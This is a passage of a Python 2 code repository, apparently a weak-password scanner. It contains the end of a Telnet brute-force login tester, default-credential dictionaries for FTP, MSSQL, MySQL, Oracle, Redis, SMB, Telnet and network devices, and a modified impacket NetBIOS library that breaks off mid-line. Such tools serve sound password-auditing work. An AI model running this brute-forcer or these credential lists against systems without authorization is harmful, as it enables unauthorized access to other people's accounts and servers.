self.userdict = userdict 102 | self.passwords = passwords 103 | pass 104 | 105 | def test(self, task): 106 | (host,port) = (task[0],task[1]) 107 | rs = [] 108 | auth = TelnetAuth( (host,port) ) 109 | username = 'ANYUser' 110 | password = 'ANYPswd' 111 | conn_ok, auth_ok, username_ok, no_username, no_password, banner = auth.login(username, password) 112 | if not conn_ok: 113 | return rs 114 | 115 | if auth_ok: 116 | rs.append([host, port, 'TELNET', '' if no_username else username, '' if no_password else password, encode_utf8(banner)]) 117 | return rs 118 | 119 | if no_username: 120 | for password in self.passwords: 121 | conn_ok, auth_ok, username_ok, no_username, no_password, banner = auth.login(username, password) 122 | if not conn_ok: 123 | return rs 124 | if auth_ok: 125 | rs.append([host, port, 'TELNET', '' if no_username else username, '' if no_password else password, encode_utf8(banner)]) 126 | if no_username: 127 | return rs 128 | break #next user 129 | if not rs: 130 | logging.getLogger().info('SAFE %s:%d'%(host, port)) 131 | return rs 132 | 133 | for username in self.userdict: 134 | for password in self.userdict[username]: 135 | conn_ok, auth_ok, username_ok, no_username, no_password, banner = auth.login(username, password) 136 | if not conn_ok: 137 | return rs 138 | if auth_ok: 139 | rs.append([host, port, 'TELNET', '' if no_username else username, '' if no_password else password, encode_utf8(banner)]) 140 | if no_username: 141 | return rs 142 | break #next user 143 | if not username_ok: 144 | break #next user 145 | if not rs: 146 | logging.getLogger().info('SAFE %s:%d'%(host, port)) 147 | return rs 148 | 149 | if __name__=='__main__': 150 | import sys 151 | import xutils 152 | host,port = sys.argv[1],int(sys.argv[2]) 153 | 154 | userdict = dict() 155 | passwords = set() 156 | for ln in open(sys.argv[3]): 157 | fs = ln.strip().split(':',1) 158 | if len(fs)!=2: 159 | continue 160 | username = fs[0] 161 | password = fs[1] 162 | passwords.add(password) 163 | if username not in userdict: 164 | userdict[username] = set() 165 | userdict[username].add(password) 166 | logger = xutils.initLogger(sys.argv[4]) 167 | tester = TelnetBruteTester(userdict, passwords) 168 | rs = tester.test( (host,port) ) 169 | print rs 170 | 171 | 172 | -------------------------------------------------------------------------------- /dictionaries/README: -------------------------------------------------------------------------------- 1 | #weak password dictionary examples 2 | -------------------------------------------------------------------------------- /dictionaries/ftp_userpasswd.txt: -------------------------------------------------------------------------------- 1 | anonymous:ftp@ftp.com 2 | ftp:ftp 3 | root:root 4 | admin:admin 5 | root:12345 6 | admin:password 7 | upload:upload 8 | root:password 9 | root:123456 10 | root:password 11 | root:abc123 12 | root:abcabc 13 | test:test 14 | temp:temp 15 | public:public -------------------------------------------------------------------------------- /dictionaries/mssql_userpasswd.txt: -------------------------------------------------------------------------------- 1 | sa: 2 | sa:sa 3 | sa:123 4 | sa:1234 5 | sa:123456 6 | sa:1234567 7 | sa:12345678 8 | sa:123123 9 | sa:abc123 10 | sa:abcabc 11 | sa:password 12 | sa:Password1 13 | sa:qwerty 14 | sa:111 15 | sa:111111 16 | test:test 17 | test:123456 18 | -------------------------------------------------------------------------------- /dictionaries/mysql_userpasswd.txt: -------------------------------------------------------------------------------- 1 | root:root 2 | root:mysql 3 | root:abc123 4 | root:123456 5 | root:password 6 | root:1qaz@WSX 7 | root:qwerty 8 | root:12345678 9 | root:123123 10 | root:111111 11 | root:temp 12 | root: 13 | mysql:mysql 14 | user:user 15 | admin:admin -------------------------------------------------------------------------------- /dictionaries/netdevice_userpasswd.txt: -------------------------------------------------------------------------------- 1 | cisco: 2 | cisco:cisco 3 | cisco:123456 4 | root:root 5 | root:password 6 | root:root123 7 | root:default 8 | admin:password 9 | admin:admin 10 | admin:123456 11 | admin:Password1 12 | test:test -------------------------------------------------------------------------------- /dictionaries/oracle_userpasswd.txt: -------------------------------------------------------------------------------- 1 | system:manager 2 | system:oracle 3 | system:12345 4 | system:123456 5 | system:1234567 6 | system:12345678 7 | system:password 8 | system:database 9 | sys:sys 10 | sys:oracle 11 | sys:database 12 | sys:12345 13 | sys:123456 14 | sys:1234567 15 | sys:12345678 16 | sys:password 17 | oracle:oracle 18 | dbsnmp:oracle 19 | dbsnmp:dbsnmp 20 | dbsnmp:password 21 | scott:tiger 22 | wksys:wksys 23 | wmsys:wmsys 24 | mdsys:mdsys 25 | ctxsys:ctxsys 26 | demo:demo 27 | dbadm:dbadm 28 | sysdba:sysdba 29 | sysdba:password 30 | sysdba:oracle 31 | sysopr:sysopr 32 | sysopr:password 33 | test:test 34 | test:password 35 | test:123456 36 | -------------------------------------------------------------------------------- /dictionaries/redis_userpasswd.txt: -------------------------------------------------------------------------------- 1 | : 2 | :admin 3 | :password 4 | :123456 5 | :123123 6 | :abc123 7 | :test 8 | :hello 9 | :Password1 10 | :1qaz@wsx 11 | :1qaz@WSX 12 | :Password123 13 | :1234567 14 | :redis 15 | -------------------------------------------------------------------------------- /dictionaries/smb_userpasswd.txt: -------------------------------------------------------------------------------- 1 | administrator:123456 2 | administrator:12345 3 | administrator:1234567 4 | administrator:123123 5 | administrator:12345678 6 | administrator:123456789 7 | administrator:123 8 | administrator:1234 9 | administrator:111111 10 | administrator:654321 11 | administrator:Password1 12 | administrator:password 13 | administrator:abc123 14 | administrator:qwerty 15 | administrator:abcabc 16 | administrator:1qaz@WSX 17 | administrator:1qaz@wsx 18 | admin:admin 19 | admin:1qaz@WSX 20 | admin:12345 21 | admin:123456 22 | admin:password 23 | admin:qwerty 24 | admin:1234567 25 | admin:12345678 26 | db2admin:db2admin 27 | db2admin:1qaz@WSX 28 | test:test 29 | test:password 30 | test:123456 31 | user:user 32 | user:password 33 | user:123456 -------------------------------------------------------------------------------- /dictionaries/telnet_userpasswd.txt: -------------------------------------------------------------------------------- 1 | admin:123456 2 | admin:1qaz@WSX 3 | admin:admin 4 | admin:qwerty 5 | admin:password 6 | admin: 7 | admin:huawei 8 | admin:12345 9 | admin:1qaz@wsx 10 | admin:Password1 11 | admin:default 12 | db2admin:db2admin 13 | ftp:ftp 14 | hscroot:abc123 15 | hscroot:Password1 16 | netbank:netbank 17 | padmin:padmin 18 | root: 19 | root:123123 20 | root:12345 21 | root:123456 22 | root:1234567 23 | root:12345678 24 | root:1qaz@wsx 25 | root:1qaz@WSX 26 | root:abc123 27 | root:password 28 | root:pass@word1 29 | root:Password1 30 | root:qwerty 31 | root:root 32 | root:root123 33 | root:toor 34 | root:default 35 | superuser:passw0rd 36 | superuser:talent 37 | test:test -------------------------------------------------------------------------------- /impacket/modified/nmb.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2003-2016 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | 8 | 9 | # -*- mode: python; tab-width: 4 -*- 10 | # 11 | # Copyright (C) 2001 Michael Teo 12 | # nmb.py - NetBIOS library 13 | # 14 | # This software is provided 'as-is', without any express or implied warranty. 15 | # In no event will the author be held liable for any damages arising from the 16 | # use of this software. 17 | # 18 | # Permission is granted to anyone to use this software for any purpose, 19 | # including commercial applications, and to alter it and redistribute it 20 | # freely, subject to the following restrictions: 21 | # 22 | # 1. The origin of this software must not be misrepresented; you must not 23 | # claim that you wrote the original software. If you use this software 24 | # in a product, an acknowledgment in the product documentation would be 25 | # appreciated but is not required. 26 | # 27 | # 2. Altered source versions must be plainly marked as such, and must not be 28 | # misrepresented as being the original software. 29 | # 30 | # 3. This notice cannot be removed or altered from any source distribution. 31 | # 32 | # Altered source done by Alberto Solino (@agsolino) 33 | 34 | import socket 35 | import string 36 | import re 37 | import select 38 | import errno 39 | from random import randint 40 | from struct import pack, unpack 41 | import time 42 | 43 | from structure import Structure 44 | 45 | CVS_REVISION = '$Revision: 526 $' 46 | 47 | # Taken from socket module reference 48 | INADDR_ANY = '0.0.0.0' 49 | BROADCAST_ADDR = '' 50 | 51 | # Default port for NetBIOS name service 52 | NETBIOS_NS_PORT = 137 53 | # Default port for NetBIOS session service 54 | NETBIOS_SESSION_PORT = 139 55 | 56 | # Default port for SMB session service 57 | SMB_SESSION_PORT = 445 58 | 59 | # Owner Node Type Constants 60 | NODE_B = 0x0000 61 | NODE_P = 0x2000 62 | NODE_M = 0x4000 63 | NODE_RESERVED = 0x6000 64 | NODE_GROUP = 0x8000 65 | NODE_UNIQUE = 0x0 66 | 67 | # Name Type Constants 68 | TYPE_UNKNOWN = 0x01 69 | TYPE_WORKSTATION = 0x00 70 | TYPE_CLIENT = 0x03 71 | TYPE_SERVER = 0x20 72 | TYPE_DOMAIN_MASTER = 0x1B 73 | TYPE_DOMAIN_CONTROLLER = 0x1C 74 | TYPE_MASTER_BROWSER = 0x1D 75 | TYPE_BROWSER = 0x1E 76 | TYPE_NETDDE = 0x1F 77 | TYPE_STATUS = 0x21 78 | 79 | # Opcodes values 80 | OPCODE_QUERY = 0 81 | OPCODE_REGISTRATION = 0x5 82 | OPCODE_RELEASE = 0x6 83 | OPCODE_WACK = 0x7 84 | OPCODE_REFRESH = 0x8 85 | OPCODE_REQUEST = 0 86 | OPCODE_RESPONSE = 0x10 87 | 88 | # NM_FLAGS 89 | NM_FLAGS_BROADCAST = 0x1 90 | NM_FLAGS_UNICAST = 0 91 | NM_FLAGS_RA = 0x8 92 | NM_FLAGS_RD = 0x10 93 | NM_FLAGS_TC = 0x20 94 | NM_FLAGS_AA = 0x40 95 | 96 | # QUESTION_TYPE 97 | QUESTION_TYPE_NB = 0x20 # NetBIOS general Name Service Resource Record 98 | QUESTION_TYPE_NBSTAT = 0x21 # NetBIOS NODE STATUS Resource Record 99 | # QUESTION_CLASS 100 | QUESTION_CLASS_IN = 0x1 # Internet class 101 | 102 | # RR_TYPE Resource Record Type code 103 | RR_TYPE_A = 0x1 # IP address Resource Record 104 | RR_TYPE_NS = 0x2 # Name Server Resource Record 105 | RR_TYPE_NULL = 0xA # NULL Resource Record 106 | RR_TYPE_NB = 0x20 # NetBIOS general Name Service Resource Record 107 | RR_TYPE_NBSTAT = 0x21 # NetBIOS NODE STATUS Resource Record 108 | 109 | # Resource Record Class 110 | RR_CLASS_IN = 1 # Internet class 111 | 112 | # RCODE values 113 | RCODE_FMT_ERR = 0x1 # Format Error. Request was invalidly formatted. 114 | RCODE_SRV_ERR = 0x2 # Server failure. Problem with NBNS, cannot process name. 115 | RCODE_IMP_ERR = 0x4 # Unsupported request error. Allowable only for challenging NBNS when gets an Update type 116 | # registration request. 117 | RCODE_RFS_ERR = 0x5 # Refused error. For policy reasons server will not register this name from this host. 118 | RCODE_ACT_ERR = 0x6 # Active error. Name is owned by another node. 119 | RCODE_CFT_ERR = 0x7 # Name in conflict error. A UNIQUE name is owned by more than one node. 120 | 121 | # NAME_FLAGS 122 | NAME_FLAGS_PRM = 0x0200 # Permanent Name Flag. If one (1) then entry is for the permanent node name. Flag is zero 123 | # (0) for all other names. 124 | NAME_FLAGS_ACT = 0x0400 # Active Name Flag. All entries have this flag set to one (1). 125 | NAME_FLAG_CNF = 0x0800 # Conflict Flag. If one (1) then name on this node is in conflict. 126 | NAME_FLAG_DRG = 0x1000 # Deregister Flag. If one (1) then this name is in the process of being deleted. 127 | 128 | NAME_TYPES = { TYPE_UNKNOWN: 'Unknown', TYPE_WORKSTATION: 'Workstation', TYPE_CLIENT: 'Client', 129 | TYPE_SERVER: 'Server', TYPE_MASTER_BROWSER: 'Master Browser', TYPE_BROWSER: 'Browser Server', 130 | TYPE_DOMAIN_MASTER: 'Domain Master' , TYPE_NETDDE: 'NetDDE Server'} 131 | # NetBIOS Session Types 132 | NETBIOS_SESSION_MESSAGE = 0x0 133 | NETBIOS_SESSION_REQUEST = 0x81 134 | NETBIOS_SESSION_POSITIVE_RESPONSE = 0x82 135 | NETBIOS_SESSION_NEGATIVE_RESPONSE = 0x83 136 | NETBIOS_SESSION_RETARGET_RESPONSE = 0x84 137 | NETBIOS_SESSION_KEEP_ALIVE = 0x85 138 | 139 | 140 | def strerror(errclass, errcode): 141 | if errclass == ERRCLASS_OS: 142 | return 'OS Error', str(errcode) 143 | elif errclass == ERRCLASS_QUERY: 144 | return 'Query Error', QUERY_ERRORS.get(errcode, 'Unknown error') 145 | elif errclass == ERRCLASS_SESSION: 146 | return 'Session Error', SESSION_ERRORS.get(errcode, 'Unknown error') 147 | else: 148 | return 'Unknown Error Class', 'Unknown Error' 149 | 150 | 151 | 152 | class NetBIOSError(Exception): pass 153 | class NetBIOSTimeout(Exception): 154 | def __init__(self, message = 'The NETBIOS connection with the remote host timed out.'): 155 | Exception.__init__(self, message) 156 | 157 | class NBResourceRecord: 158 | def __init__(self, data = 0): 159 | self._data = data 160 | try: 161 | if self._data: 162 | self.rr_name = (re.split('\x00',data))[0] 163 | offset = len(self.rr_name)+1 164 | self.rr_type = unpack('>H', self._data[offset:offset+2])[0] 165 | self.rr_class = unpack('>H', self._data[offset+2: offset+4])[0] 166 | self.ttl = unpack('>L',self._data[offset+4:offset+8])[0] 167 | self.rdlength = unpack('>H', self._data[offset+8:offset+10])[0] 168 | self.rdata = self._data[offset+10:offset+10+self.rdlength] 169 | offset = self.rdlength - 2 170 | self.unit_id = data[offset:offset+6] 171 | else: 172 | self.rr_name = '' 173 | self.rr_type = 0 174 | self.rr_class = 0 175 | self.ttl = 0 176 | self.rdlength = 0 177 | self.rdata = '' 178 | self.unit_id = '' 179 | except Exception: 180 | raise NetBIOSError( 'Wrong packet format ' ) 181 | 182 | def set_rr_name(self, name): 183 | self.rr_name = name 184 | def set_rr_type(self, name): 185 | self.rr_type = name 186 | def set_rr_class(self,cl): 187 | self.rr_class = cl 188 | def set_ttl(self,ttl): 189 | self.ttl = ttl 190 | def set_rdata(self,rdata): 191 | self.rdata = rdata 192 | self.rdlength = len(rdata) 193 | def get_unit_id(self): 194 | return self.unit_id 195 | def get_rr_name(self): 196 | return self.rr_name 197 | def get_rr_class(self): 198 | return self.rr_class 199 | def get_ttl(self): 200 | return self.ttl 201 | def get_rdlength(self): 202 | return self.rdlength 203 | def get_rdata(self): 204 | return self.rdata 205 | def rawData(self): 206 | return self.rr_name + pack('!HHLH',self.rr_type, self.rr_class, self.ttl, self.rdlength) + self.rdata 207 | 208 | class NBNodeStatusResponse(NBResourceRecord): 209 | def __init__(self, data = 0): 210 | NBResourceRecord.__init__(self,data) 211 | self.num_names = 0 212 | self.node_names = [ ] 213 | self.statstics = '' 214 | self.mac = '00-00-00-00-00-00' 215 | try: 216 | if data: 217 | self._data = self.get_rdata() 218 | self.num_names = unpack('>B',self._data[:1])[0] 219 | offset = 1 220 | for i in range(0, self.num_names): 221 | name = self._data[offset:offset + 15] 222 | type,flags = unpack('>BH', self._data[offset + 15: offset + 18]) 223 | offset += 18 224 | self.node_names.append(NBNodeEntry(name, type ,flags)) 225 | self.set_mac_in_hexa(self.get_unit_id()) 226 | except Exception: 227 | raise NetBIOSError( 'Wrong packet format ' ) 228 | 229 | def set_mac_in_hexa(self, data): 230 | data_aux = '' 231 | for d in data: 232 | if data_aux == '': 233 | data_aux = '%02x' % ord(d) 234 | else: 235 | data_aux += '-%02x' % ord(d) 236 | self.mac = string.upper(data_aux) 237 | 238 | def get_num_names(self): 239 | return self.num_names 240 | def get_mac(self): 241 | return self.mac 242 | def set_num_names(self, num): 243 | self.num_names = num 244 | def get_node_names(self): 245 | return self.node_names 246 | def add_node_name(self,node_names): 247 | self.node_names.append(node_names) 248 | self.num_names += 1 249 | def rawData(self): 250 | res = pack('!B', self.num_names ) 251 | for i in range(0, self.num_names): 252 | res += self.node_names[i].rawData() 253 | 254 | class NBPositiveNameQueryResponse(NBResourceRecord): 255 | def __init__(self, data = 0): 256 | NBResourceRecord.__init__(self, data) 257 | self.addr_entries = [ ] 258 | if data: 259 | self._data = self.get_rdata() 260 | _qn_length, qn_name, qn_scope = decode_name(data) 261 | self._netbios_name = string.rstrip(qn_name[:-1]) + qn_scope 262 | self._name_type = ord(qn_name[-1]) 263 | self._nb_flags = unpack('!H', self._data[:2]) 264 | offset = 2 265 | while offset> 3 306 | self.nm_flags = ((ord(data[2]) & 0x3) << 4) | ((ord(data[3]) & 0xf0) >> 4) 307 | self.name_trn_id = unpack('>H', self._data[:2])[0] 308 | self.rcode = ord(data[3]) & 0x0f 309 | self.qdcount = unpack('>H', self._data[4:6])[0] 310 | self.ancount = unpack('>H', self._data[6:8])[0] 311 | self.nscount = unpack('>H', self._data[8:10])[0] 312 | self.arcount = unpack('>H', self._data[10:12])[0] 313 | self.answers = self._data[12:] 314 | except Exception: 315 | raise NetBIOSError( 'Wrong packet format ' ) 316 | 317 | def set_opcode(self, opcode): 318 | self.opcode = opcode 319 | def set_trn_id(self, trn): 320 | self.name_trn_id = trn 321 | def set_nm_flags(self, nm_flags): 322 | self.nm_flags = nm_flags 323 | def set_rcode(self, rcode): 324 | self.rcode = rcode 325 | def addQuestion(self, question, qtype, qclass): 326 | self.qdcount += 1 327 | self.questions += question + pack('!HH',qtype,qclass) 328 | def get_trn_id(self): 329 | return self.name_trn_id 330 | def get_rcode(self): 331 | return self.rcode 332 | def get_nm_flags(self): 333 | return self.nm_flags 334 | def get_opcode(self): 335 | return self.opcode 336 | def get_qdcount(self): 337 | return self.qdcount 338 | def get_ancount(self): 339 | return self.ancount 340 | def get_nscount(self): 341 | return self.nscount 342 | def get_arcount(self): 343 | return self.arcount 344 | def rawData(self): 345 | secondWord = self.opcode << 11 346 | secondWord |= self.nm_flags << 4 347 | secondWord |= self.rcode 348 | data = pack('!HHHHHH', self.name_trn_id, secondWord , self.qdcount, self.ancount, self.nscount, self.arcount) + self.questions + self.answers 349 | return data 350 | def get_answers(self): 351 | return self.answers 352 | 353 | class NBHostEntry: 354 | 355 | def __init__(self, nbname, nametype, ip): 356 | self.__nbname = nbname 357 | self.__nametype = nametype 358 | self.__ip = ip 359 | 360 | def get_nbname(self): 361 | return self.__nbname 362 | 363 | def get_nametype(self): 364 | return self.__nametype 365 | 366 | def get_ip(self): 367 | return self.__ip 368 | 369 | def __repr__(self): 370 | return '' 371 | 372 | class NBNodeEntry: 373 | 374 | def __init__(self, nbname, nametype, flags): 375 | self.__nbname = string.ljust(nbname,17) 376 | self.__nametype = nametype 377 | self.__flags = flags 378 | self.__isgroup = flags & 0x8000 379 | self.__nodetype = flags & 0x6000 380 | self.__deleting = flags & 0x1000 381 | self.__isconflict = flags & 0x0800 382 | self.__isactive = flags & 0x0400 383 | self.__ispermanent = flags & 0x0200 384 | 385 | def get_nbname(self): 386 | return self.__nbname 387 | 388 | def get_nametype(self): 389 | return self.__nametype 390 | 391 | def is_group(self): 392 | return self.__isgroup 393 | 394 | def get_nodetype(self): 395 | return self.__nodetype 396 | 397 | def is_deleting(self): 398 | return self.__deleting 399 | 400 | def is_conflict(self): 401 | return self.__isconflict 402 | 403 | def is_active(self): 404 | return self.__isactive 405 | 406 | def is_permanent(self): 407 | return self.__ispermanent 408 | 409 | def set_nbname(self, name): 410 | self.__nbname = string.ljust(name,17) 411 | 412 | def set_nametype(self, type): 413 | self.__nametype = type 414 | 415 | def set_flags(self,flags): 416 | self.__flags = flags 417 | 418 | def __repr__(self): 419 | s = ' 15: 598 | name = name[:15] + chr(type) 599 | else: 600 | name = string.ljust(name, 15) + chr(type) 601 | 602 | encoded_name = chr(len(name) * 2) + re.sub('.', _do_first_level_encoding, name) 603 | if scope: 604 | encoded_scope = '' 605 | for s in string.split(scope, '.'): 606 | encoded_scope = encoded_scope + chr(len(s)) + s 607 | return encoded_name + encoded_scope + '\0' 608 | else: 609 | return encoded_name + '\0' 610 | 611 | # Internal method for use in encode_name() 612 | def _do_first_level_encoding(m): 613 | s = ord(m.group(0)) 614 | return string.uppercase[s >> 4] + string.uppercase[s & 0x0f] 615 | 616 | def decode_name(name): 617 | name_length = ord(name[0]) 618 | assert name_length == 32 619 | 620 | decoded_name = re.sub('..', _do_first_level_decoding, name[1:33]) 621 | if name[33] == '\0': 622 | return 34, decoded_name, '' 623 | else: 624 | decoded_domain = '' 625 | offset = 34 626 | while 1: 627 | domain_length = ord(name[offset]) 628 | if domain_length == 0: 629 | break 630 | decoded_domain = '.' + name[offset:offset + domain_length] 631 | offset += domain_length 632 | return offset + 1, decoded_name, decoded_domain 633 | 634 | def _do_first_level_decoding(m): 635 | s = m.group(0) 636 | return chr(((ord(s[0]) - ord('A')) << 4) | (ord(s[1]) - ord('A'))) 637 | 638 | 639 | 640 | class NetBIOSSessionPacket: 641 | def __init__(self, data = 0): 642 | self.type = 0x0 643 | self.flags = 0x0 644 | self.length = 0x0 645 | if data == 0: 646 | self._trailer = '' 647 | else: 648 | try: 649 | self.type = ord(data[0]) 650 | if self.type == NETBIOS_SESSION_MESSAGE: 651 | self.length = ord(data[1]) << 16 | (unpack('!H', data[2:4])[0]) 652 | else: 653 | self.flags = ord(data[1]) 654 | self.length = unpack('!H', data[2:4])[0] 655 | 656 | self._trailer = data[4:] 657 | except: 658 | raise NetBIOSError( 'Wrong packet format ' ) 659 | 660 | def set_type(self, type): 661 | self.type = type 662 | def get_type(self): 663 | return self.type 664 | def rawData(self): 665 | if self.type == NETBIOS_SESSION_MESSAGE: 666 | data = pack('!BBH',self.type,self.length >> 16,self.length & 0xFFFF) + self._trailer 667 | else: 668 | data = pack('!BBH',self.type,self.flags,self.length) + self._trailer 669 | return data 670 | def set_trailer(self,data): 671 | self._trailer = data 672 | self.length = len(data) 673 | def get_length(self): 674 | return self.length 675 | def get_trailer(self): 676 | return self._trailer 677 | 678 | class NetBIOSSession: 679 | def __init__(self, myname, remote_name, remote_host, remote_type = TYPE_SERVER, sess_port = NETBIOS_SESSION_PORT, timeout = None, local_type = TYPE_WORKSTATION, sock = None): 680 | if len(myname) > 15: 681 | self.__myname = string.upper(myname[:15]) 682 | else: 683 | self.__myname = string.upper(myname) 684 | self.__local_type = local_type 685 | 686 | assert remote_name 687 | # if destination port SMB_SESSION_PORT and remote name *SMBSERVER, we're changing it to its IP address 688 | # helping solving the client mistake ;) 689 | if remote_name == '*SMBSERVER' and sess_port == SMB_SESSION_PORT: 690 | remote_name = remote_host 691 | # If remote name is *SMBSERVER let's try to query its name.. if can't be guessed, continue and hope for the best 692 | if remote_name == '*SMBSERVER': 693 | nb = NetBIOS() 694 | 695 | try: 696 | res = nb.getnetbiosname(remote_host) 697 | except: 698 | res = None 699 | pass 700 | 701 | if res is not None: 702 | remote_name = res 703 | 704 | if len(remote_name) > 15: 705 | self.__remote_name = string.upper(remote_name[:15]) 706 | else: 707 | self.__remote_name = string.upper(remote_name) 708 | self.__remote_type = remote_type 709 | 710 | self.__remote_host = remote_host 711 | 712 | if sock is not None: 713 | # We are acting as a server 714 | self._sock = sock 715 | else: 716 | ##print 'NetBIOSSession:init setup connection timeout: %d' % (timeout) 717 | self._sock = self._setup_connection((remote_host, sess_port), timeout) 718 | 719 | if sess_port == NETBIOS_SESSION_PORT: 720 | self._request_session(remote_type, local_type, timeout) 721 | 722 | def get_myname(self): 723 | return self.__myname 724 | 725 | def get_mytype(self): 726 | return self.__local_type 727 | 728 | def get_remote_host(self): 729 | return self.__remote_host 730 | 731 | def get_remote_name(self): 732 | return self.__remote_name 733 | 734 | def get_remote_type(self): 735 | return self.__remote_type 736 | 737 | def close(self): 738 | self._sock.close() 739 | 740 | def get_socket(self): 741 | return self._sock 742 | 743 | class NetBIOSUDPSessionPacket(Structure): 744 | TYPE_DIRECT_UNIQUE = 16 745 | TYPE_DIRECT_GROUP = 17 746 | 747 | FLAGS_MORE_FRAGMENTS = 1 748 | FLAGS_FIRST_FRAGMENT = 2 749 | FLAGS_B_NODE = 0 750 | 751 | structure = ( 752 | ('Type','B=16'), # Direct Unique Datagram 753 | ('Flags','B=2'), # FLAGS_FIRST_FRAGMENT 754 | ('ID','L'), 756 | ('SourceIP','"'), 757 | ('SourcePort','>H=138'), 758 | ('DataLegth','>H-Data'), 759 | ('Offset','>H=0'), 760 | ('SourceName','z'), 761 | ('DestinationName','z'), 762 | ('Data',':'), 763 | ) 764 | 765 | def getData(self): 766 | addr = self['SourceIP'].split('.') 767 | addr = [int(x) for x in addr] 768 | addr = (((addr[0] << 8) + addr[1] << 8) + addr[2] << 8) + addr[3] 769 | self['_SourceIP'] = addr 770 | return Structure.getData(self) 771 | 772 | def get_trailer(self): 773 | return self['Data'] 774 | 775 | class NetBIOSUDPSession(NetBIOSSession): 776 | def _setup_connection(self, peer, timeout = None): 777 | af, socktype, proto, canonname, sa = socket.getaddrinfo(peer[0], peer[1], 0, socket.SOCK_DGRAM)[0] 778 | sock = socket.socket(af, socktype, proto) 779 | sock.connect(sa) 780 | 781 | sock = socket.socket(af, socktype, proto) 782 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 783 | sock.bind((INADDR_ANY, 138)) 784 | self.peer = peer 785 | return sock 786 | 787 | def _request_session(self, remote_type, local_type, timeout = None): 788 | pass 789 | 790 | def next_id(self): 791 | if hasattr(self, '__dgram_id'): 792 | answer = self.__dgram_id 793 | else: 794 | self.__dgram_id = randint(1,65535) 795 | answer = self.__dgram_id 796 | self.__dgram_id += 1 797 | return answer 798 | 799 | def send_packet(self, data): 800 | # Yes... I know... 801 | self._sock.connect(self.peer) 802 | 803 | p = NetBIOSUDPSessionPacket() 804 | p['ID'] = self.next_id() 805 | p['SourceIP'] = self._sock.getsockname()[0] 806 | p['SourceName'] = encode_name(self.get_myname(), self.get_mytype(), '')[:-1] 807 | p['DestinationName'] = encode_name(self.get_remote_name(), self.get_remote_type(), '')[:-1] 808 | p['Data'] = data 809 | 810 | self._sock.sendto(str(p), self.peer) 811 | self._sock.close() 812 | 813 | self._sock = self._setup_connection(self.peer) 814 | 815 | def recv_packet(self, timeout = None): 816 | # The next loop is a workaround for a bigger problem: 817 | # When data reaches higher layers, the lower headers are lost, 818 | # and with them, for example, the source IP. Hence, SMB users 819 | # can't know where packets are comming from... we need a better 820 | # solution, right now, we will filter everything except packets 821 | # coming from the remote_host specified in __init__() 822 | 823 | while 1: 824 | data, peer = self._sock.recvfrom(8192) 825 | # print "peer: %r self.peer: %r" % (peer, self.peer) 826 | if peer == self.peer: break 827 | 828 | return NetBIOSUDPSessionPacket(data) 829 | 830 | class NetBIOSTCPSession(NetBIOSSession): 831 | def __init__(self, myname, remote_name, remote_host, remote_type = TYPE_SERVER, sess_port = NETBIOS_SESSION_PORT, timeout = None, local_type = TYPE_WORKSTATION, sock = None, select_poll = False): 832 | self.__select_poll = select_poll 833 | if self.__select_poll: 834 | self.read_function = self.polling_read 835 | else: 836 | self.read_function = self.non_polling_read 837 | NetBIOSSession.__init__(self, myname, remote_name, remote_host, remote_type = remote_type, sess_port = sess_port, timeout = timeout, local_type = local_type, sock=sock) 838 | 839 | 840 | def _setup_connection(self, peer, timeout = None): 841 | try: 842 | af, socktype, proto, canonname, sa = socket.getaddrinfo(peer[0], peer[1], 0, socket.SOCK_STREAM)[0] 843 | sock = socket.socket(af, socktype, proto) 844 | ##print '*socket.timeout:'+str(sock.gettimeout()) 845 | ##print '*setting timeout to: %d' % (timeout) 846 | if timeout is None: 847 | timeout = 30 848 | sock.settimeout(timeout) 849 | sock.connect(sa) 850 | except socket.error, e: 851 | raise socket.error("Connection error (%s:%s)" % (peer[0], peer[1]), e) 852 | return sock 853 | 854 | def send_packet(self, data): 855 | p = NetBIOSSessionPacket() 856 | p.set_type(NETBIOS_SESSION_MESSAGE) 857 | p.set_trailer(data) 858 | self._sock.send(p.rawData()) 859 | 860 | def recv_packet(self, timeout = None): 861 | data = self.__read(timeout) 862 | return NetBIOSSessionPacket(data) 863 | 864 | def _request_session(self, remote_type, local_type, timeout = None): 865 | p = NetBIOSSessionPacket() 866 | remote_name = encode_name(self.get_remote_name(), remote_type, '') 867 | myname = encode_name(self.get_myname(), local_type, '') 868 | p.set_type(NETBIOS_SESSION_REQUEST) 869 | p.set_trailer(remote_name + myname) 870 | 871 | self._sock.send(p.rawData()) 872 | while 1: 873 | p = self.recv_packet(timeout) 874 | if p.get_type() == NETBIOS_SESSION_NEGATIVE_RESPONSE: 875 | raise NetBIOSError, ( 'Cannot request session', ERRCLASS_SESSION, ord(p.get_trailer()[0]) ) 876 | elif p.get_type() == NETBIOS_SESSION_POSITIVE_RESPONSE: 877 | break 878 | else: 879 | # Ignore all other messages, most probably keepalive messages 880 | pass 881 | 882 | def polling_read(self, read_length, timeout): 883 | data = '' 884 | if timeout is None: 885 | timeout = 3600 886 | 887 | time_left = timeout 888 | CHUNK_TIME = 0.025 889 | bytes_left = read_length 890 | 891 | while bytes_left > 0: 892 | try: 893 | ready, _, _ = select.select([self._sock.fileno() ], [ ], [ ], 0) 894 | 895 | if not ready: 896 | if time_left <= 0: 897 | raise NetBIOSTimeout 898 | else: 899 | time.sleep(CHUNK_TIME) 900 | time_left -= CHUNK_TIME 901 | continue 902 | 903 | received = self._sock.recv(bytes_left) 904 | if len(received) == 0: 905 | raise NetBIOSError, ( 'Error while reading from remote', ERRCLASS_OS, None) 906 | 907 | data = data + received 908 | bytes_left = read_length - len(data) 909 | except select.error, ex: 910 | if ex[0] != errno.EINTR and ex[0] != errno.EAGAIN: 911 | raise NetBIOSError, ( 'Error occurs while reading from remote', ERRCLASS_OS, ex[0] ) 912 | 913 | return data 914 | 915 | def non_polling_read(self, read_length, timeout): 916 | data = '' 917 | bytes_left = read_length 918 | 919 | while bytes_left > 0: 920 | try: 921 | ready, _, _ = select.select([self._sock.fileno() ], [ ], [ ], timeout) 922 | 923 | if not ready: 924 | raise NetBIOSTimeout 925 | 926 | received = self._sock.recv(bytes_left) 927 | if len(received) == 0: 928 | raise NetBIOSError, ( 'Error while reading from remote', ERRCLASS_OS, None) 929 | 930 | data = data + received 931 | bytes_left = read_length - len(data) 932 | except select.error, ex: 933 | if ex[0] != errno.EINTR and ex[0] != errno.EAGAIN: 934 | raise NetBIOSError, ( 'Error occurs while reading from 